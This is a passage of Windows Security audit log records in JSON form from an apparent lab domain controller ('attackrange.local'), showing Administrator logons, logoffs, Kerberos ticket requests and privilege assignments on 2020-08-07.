11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222175,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x805E9\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x805e9","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222176,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x81C93\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x81c93","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222177,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x82638\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x82638","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":222178,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":222179,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":222180,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222181,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x87CAE\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x87cae","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222182,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x87CAE\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x87cae","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222183,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x87CAE\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x87cae","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":222184,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":222185,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":222186,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222187,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x87CE1\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x87ce1","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222188,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x87CE1\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x87ce1","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222189,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8031F\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. 